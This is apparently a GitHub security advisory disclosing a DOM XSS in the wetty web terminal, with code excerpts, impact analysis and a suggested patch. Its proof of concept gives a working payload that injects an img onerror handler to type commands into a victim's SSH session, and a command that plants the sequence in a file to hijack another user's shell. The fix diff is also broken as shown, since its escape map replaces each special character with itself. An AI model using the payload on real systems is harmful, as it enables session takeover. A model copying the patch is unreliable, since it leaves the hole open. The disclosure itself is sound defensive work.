GHSA-p26j-h7wj-r568
wetty vulnerable to DOM XSS via file-download filename
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`). Any output the victim renders - a `cat`'d file, a tailed log, an SSH MOTD, a `curl` response - that contains `\x1b[5i...:...\x1b[4i` runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.
### Preconditions
- Victim has wetty open with an active SSH session.
- Attacker delivers the file-download escape sequence (`\x1b[5i<b64-name>:<b64-content>\x1b[4i`) into output the victim's terminal renders.
- Default configuration; no non-default flags required.
### Details
```typescript
// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
const remainingData = fileDownloader.buffer(data);
// every PTY byte forwarded by the server passes through buffer()
// ...
})
```
Every byte the server forwards from the PTY passes through `FileDownloader.buffer`. The buffer scans for the documented file-download markers `\x1b[5i` (begin) and `\x1b[4i` (end) - documented in `docs/downloading-files.md` - and, on a complete match, hands the inner payload to `onCompleteFile`.
```typescript
// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
let fileNameBase64;
let fileCharacters = bufferCharacters;
if (bufferCharacters.includes(':')) {
[fileNameBase64, fileCharacters] = bufferCharacters.split(':');
}
// ...
void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}
async function detectAndDownload(/* ... */): Promise<void> {
// ...
let fileName;
try {
if (fileNameBase64 !== undefined) {
fileName = window.atob(fileNameBase64); // attacker-controlled
}
} catch { /* ... */ }
fileName ??= `file-${ /* timestamp default */ }`;
// ...
Toastify({
text: `Download ready: <a href="${blobUrl}" target="_blank" `
+ `download="${fileName}">${fileName}</a>`, // sink
duration: 10000,
// ...
escapeMarkup: false,
}).showToast();
}
```
`fileName` is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (`escapeMarkup: false`). No HTML escaping runs between `atob` and the toast markup. The wetty client exposes the live terminal as `window.wetty_term`, and `term.input(data, true)` (`src/client/wetty/term.ts:80, 93-97, 132, 145-198`) fires xterm.js's `onData`, which `src/client/wetty.ts:40-42` forwards as a socket `input` event - i.e., script in the wetty origin types into the victim's SSH session.
### Proof of concept
**Setup**
1. Bring up wetty and its bundled SSH host from a fresh clone:
```bash
git clone https://github.com/butlerx/wetty
cd wetty
docker compose up -d
sleep 5
```
2. Open `http://localhost/wetty` in a browser. The login terminal prompts for a username (enter `term`) then proxies to `wetty-ssh`, which prompts for the SSH password (also `term`, set in `containers/ssh/Dockerfile`). The browser tab now holds a shell on the SSH container.
**Exploit**
1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:
```bash
PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
DATA_B64=$(printf 'bait' | base64 -w0)
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"
```
Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied `<img>` element with the `onerror` handler.
2. The `onerror` handler calls `window.wetty_term.input("id > /tmp/pwned\n", true)`, which xterm.js dispatches as a `data` event; `src/client/wetty.ts:40-42` forwards it as a socket `input` event; the server writes it to the PTY. The SSH host runs `id > /tmp/pwned` as the connected user:
```bash
cat /tmp/pwned
```
Expected: `uid=1000(term) gid=1000(term) groups=1000(term)`.
3. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:
```bash
# As the low-priv user on the SSH host
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt
```
When the higher-privileged user's wetty session runs `cat /tmp/notes.txt`, attacker-controlled JavaScript types commands into that user's shell.
### Impact
- **Confidentiality:** Reads the rendered terminal contents via `window.wetty_term.buffer.active`.
- **Integrity:** Types attacker-chosen commands into the victim's SSH session via `window.wetty_term.input()`.
- **Auth:** A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.
### Suggestions to fix
> _This has not been tested - it is illustrative only._
HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at `src/client/wetty/download.ts:67-77`.
```diff
fileName ??= `file-${new Date()
.toISOString()
.split('.')[0]
.replace(/-/g, '')
.replace('T', '')
.replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+ const safeName = fileName.replace(/[&<>"']/g, (c) =>
+ ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c] ?? c,
+ );
const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
const blobUrl = URL.createObjectURL(blob);
Toastify({
- text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+ text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
duration: 10000,
```
References
External links from the advisory. They lead to third-party sites.